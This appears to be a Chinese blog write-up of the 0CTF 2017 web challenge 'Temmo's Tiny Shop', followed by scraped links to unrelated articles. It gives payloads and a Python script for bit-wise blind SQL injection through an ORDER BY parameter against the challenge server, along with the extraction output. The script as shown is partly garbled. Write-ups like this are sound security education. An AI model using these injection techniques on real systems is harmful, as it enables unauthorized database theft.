0CTF 2017 部分Web的某些不一样的思路
洒家参加了0CTF 2017,做了一些题目。赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路。
一些不错的Writeup
https://ctftime.org/event/402/tasks/
http://www.melodia.pw/?p=889
http://lorexxar.cn/2017/03/21/0ctf2017-web/
Temmo’s Tiny Shop
洒家看网上的Writeup 在拿到Hint,知道flag的表名后爆破flag的每一字节,效率可能比较低。这里是洒家比赛的时候想到的按bit爆破的方法,对于ASCII,只考虑7bit,每字节固定需要7次请求即可得到。
需要购买Erwin Schrodinger's Cat和Brownie。
一开始的Payload是:
case(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2))when(1)then(name)else(price)end
由于长度限制(WAF,最长100字节),修改Payload:
if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,price)
由于长度还是太长,把Price改成3也可以排序。
if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,3)
注:此处的3并不是按第3列排序,即和order by 3 作用不同,而是和 order by '3' 作用相同,和不加order by 效果相同(不知道是MySQL什么特性)
由此,最终的脚本是:
import requests
# code from https://www.cnblogs.com/go2bed/p/6607565.html
s = requests.Session()
cookie = {'PHPSESSID':'YOURCOOKIE'} # add your cookie
url = 'http://202.120.7.197/app.php' true_str = '"goods":[{"id":"5"'
false_str = '"goods":[{"id":"2"'
order_by_template = 'if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1))div(%d)mod(2),name,3)' flag = ''
for place_index in xrange(1, 1000):
place_bin = ''
for times in xrange(6,-1,-1):
num = 2 ** times
order_by = order_by_template % (place_index, num)
params = {'action':'search','keyword':'','order':order_by}
r = s.get(url, params=params, cookies=cookie)
#print r.content
if true_str in r.content:
new_place_bin = ''
else:
new_place_bin = ''
print new_place_bin,
place_bin += new_place_bin place = chr(int(place_bin, 2))
flag += place
print flag if '}' in flag:
break print '\n***** get flag *****'
print flag
运行效果:
1 1 0 0 1 1 0 f
1 1 0 1 1 0 0 fl
1 1 0 0 0 0 1 fla
1 1 0 0 1 1 1 flag
1 1 1 1 0 1 1 flag{
1 1 1 0 0 1 0 flag{r
0 1 1 0 1 0 0 flag{r4
1 1 0 0 0 1 1 flag{r4c
1 1 0 0 1 0 1 flag{r4ce
1 0 1 1 1 1 1 flag{r4ce_
1 1 0 0 0 1 1 flag{r4ce_c
0 1 1 0 0 0 0 flag{r4ce_c0
1 1 0 1 1 1 0 flag{r4ce_c0n
1 1 0 0 1 0 0 flag{r4ce_c0nd
1 1 0 1 0 0 1 flag{r4ce_c0ndi
1 1 1 0 1 0 0 flag{r4ce_c0ndit
1 1 0 1 0 0 1 flag{r4ce_c0nditi
0 1 1 0 0 0 0 flag{r4ce_c0nditi0
1 1 0 1 1 1 0 flag{r4ce_c0nditi0n
1 0 1 1 1 1 1 flag{r4ce_c0nditi0n_
1 1 0 1 0 0 1 flag{r4ce_c0nditi0n_i
0 1 1 0 1 0 1 flag{r4ce_c0nditi0n_i5
1 0 1 1 1 1 1 flag{r4ce_c0nditi0n_i5_
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_e
1 1 1 1 0 0 0 flag{r4ce_c0nditi0n_i5_ex
1 1 0 0 0 1 1 flag{r4ce_c0nditi0n_i5_exc
1 1 0 1 0 0 1 flag{r4ce_c0nditi0n_i5_exci
1 1 1 0 1 0 0 flag{r4ce_c0nditi0n_i5_excit
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_excite
1 1 0 0 1 0 0 flag{r4ce_c0nditi0n_i5_excited
1 1 1 1 1 0 1 flag{r4ce_c0nditi0n_i5_excited} ***** get flag *****
flag{r4ce_c0nditi0n_i5_excited}
0CTF 2017 部分Web的某些不一样的思路的更多相关文章
- JAVA WEB 用servlet实现分页,思路比较清晰和简单。
JAVA WEB 用servlet实现分页,思路比较清晰和简单.借鉴了其他大佬的思路.特别感谢. 是我第一次发表博客,如果有什么错误,欢迎大家指出!,谢谢 一.思路分析 前台一定是有类似这种的界面 点 ...
- 2017年Web前端开发工程师薪资越来越高?
放眼全球,不仅在国内的互联网行业,在国外,前端工程师一样是需求旺盛.供不应求的香饽饽.所以在供不应求的前端招聘市场上,优秀的前端工程师才是有话语权的那一方. 前端开发是做什么的? 前端是互联网时代软件 ...
- Intellij Idea 2017创建web项目及tomcat部署实战
相关软件:Intellij Idea2017.jdk16.tomcat7 Intellij Idea直接安装(可根据需要选择自己设置的安装目录),jdk使用1.6/1.7/1.8都可以,主要是配置好系 ...
- 【Intellij】Intellij Idea 2017创建web项目及tomcat部署实战
相关软件:Intellij Idea2017.jdk16.tomcat7 Intellij Idea直接安装(可根据需要选择自己设置的安装目录),jdk使用1.6/1.7/1.8都可以,主要是配置好系 ...
- 6. Intellij Idea 2017创建web项目及tomcat部署实战
转自:https://www.cnblogs.com/shindo/p/7272646.html 相关软件:Intellij Idea2017.jdk16.tomcat7 Intellij Idea直 ...
- 2017百度web前端实习生在线笔试题
代码: import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner s ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- 对RESTful Web API的理解与设计思路
距离上一篇关于Web API的文章(如何实现RESTful Web API的身份验证)有好些时间了,在那篇文章中提到的方法是非常简单而有效的,我在实际的项目中就这么用了,代码经过一段时间的磨合,已经很 ...
- 移动端Web适配的两种做法思路总结
看了几篇文章,理一下网易跟淘宝移动端适配的思路,主要是参考 从网易与淘宝的font-size思考前端设计稿与工作流 像素相关概念 物理像素(physical pixel) 一个物理像素是显示器(手机屏 ...
随机推荐
- js CacheQueue
(function(){ var CacheQueue=function(name,weightValue,maxLength,clearTimerTime){ //public this.name ...
- API测试工具postman使用总结
一.Postman介绍: Postman是google开发的一款功能强大的网页调试与发送网页HTTP请求,并能运行测试用例的的Chrome插件,主要用于模拟网络请求包,快速创建请求,回放.管理请求,验 ...
- 2017.2.9 开涛shiro教程-第十章-会话管理(一)
原博客地址:http://jinnianshilongnian.iteye.com/blog/2018398 根据下载的pdf学习. 第十章 会话管理(一) 10.1 会话 shiro提供的会话可以用 ...
- 使用REST-Assured对API接口进行自动化测试
转载:http://blog.csdn.net/u012050416/article/details/50674612 准备 目标 开始编码 总结 说明:本文只是一个getStart示例,关键在于 ...
- Spring boot Security Disable security
When I use security.basic.enabled=false to disable security on a Spring Boot project that has the fo ...
- void f(int(&p)[3]){} 和void f(int(*p)[3]){}的差别
#include<iostream> using namespace std; void f(int(&p)[3]){ cout<<p[0]<& ...
- java查看工具jstack-windows
Prints Java thread stack traces for a Java process, core file, or remote debug server. This command ...
- {}在javascript与(python,java)中的含义区别
{}在javascript中是对象,其访问属性的方法为 a.name,a['name'],参见http://www.itxueyuan.org/view/6332.html {}在python,jav ...
- Vue框架引入JS库的正确姿势
参考自:https://mp.weixin.qq.com/s?src=3×tamp=1527154113&ver=1&signature=tWGeTa86gyK*RL ...
- 【Python】ModuleNotFoundError: No module named 'matplotlib.pyplot'
安装好matplotlib后,很激动的建立了一个文件夹matplotlib,并且在其下面建立了,mpl_squraes.py文件,代码编辑完成以后,点击运行,报错如下: 仔细分析了之后,发现是文件夹名 ...